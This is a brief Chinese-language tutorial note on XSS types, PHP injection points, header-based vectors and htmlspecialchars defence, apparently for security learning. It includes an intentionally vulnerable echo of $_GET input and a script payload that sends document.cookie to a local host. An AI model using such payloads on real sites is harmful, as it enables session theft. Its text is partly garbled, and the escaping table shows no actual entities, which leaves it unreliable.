XSS漏洞大致分為三種
反射型XSS漏洞
存儲型XSS漏洞
基于DOM的XSS漏洞
反射型XSS漏洞
它通過給別人發(fā)送帶有惡意腳本代碼參數(shù)的URL,當URL地址被打開時,特有的惡意代碼參數(shù)被HTML解析、執(zhí)行
它的特點是非持久化,必須用戶點擊帶有特定參數(shù)的鏈接才能引起該漏洞的觸發(fā)
變量直接輸出
<?php
echo$_GET['xss'];
?>
$_SERVER變量參數(shù)
$_SERVER['PHP_SELF'] 當前正在執(zhí)行腳本的文件名
$_SERVER['HTTP_USER_AGENT'] 獲取用戶相關信息,包括用戶瀏覽器、操作系統(tǒng)等信息。
$_SERVER['HTTP_REQUER']
$_SERVER['REQUEST_URI']當前腳本路徑,根目錄之后的目錄
http請求格式
User-Agent: ? ? ?可以通過User-Agent進行構造XSS
Referer: ? ? ? ? ? ?可以通過Reference進行構造,主要是burp suite抓包操作,進行修改即可
利用
Ttest:alert('xss');
Cookie:
<script>var i=new Image; ?i.src='http://127.0.0.1/xss.php?c="%2bdocument.cookie;"'</script>
modify headers
存儲型XSS
持久化,代碼是存儲在服務器數(shù)據(jù)庫中的,如在個人信息或發(fā)表文章等地方,加入代碼,若干沒有過濾或過濾不嚴,那么這些代碼將存儲到服務器數(shù)據(jù)庫中,用戶訪問該頁面的時候觸發(fā)代碼執(zhí)行。這種XSS比較危險,容易造成蠕蟲,竊取Cookie等。
審計SQL語句:
主要是update 、insert更新和插入語句。
內容輸入輸出沒有被嚴格過濾或者過濾不嚴!
防御
htmlspecialchars函數(shù)
預定義的字符是:
& ?——————&
"———————"
'———————'
<———————<
>———————>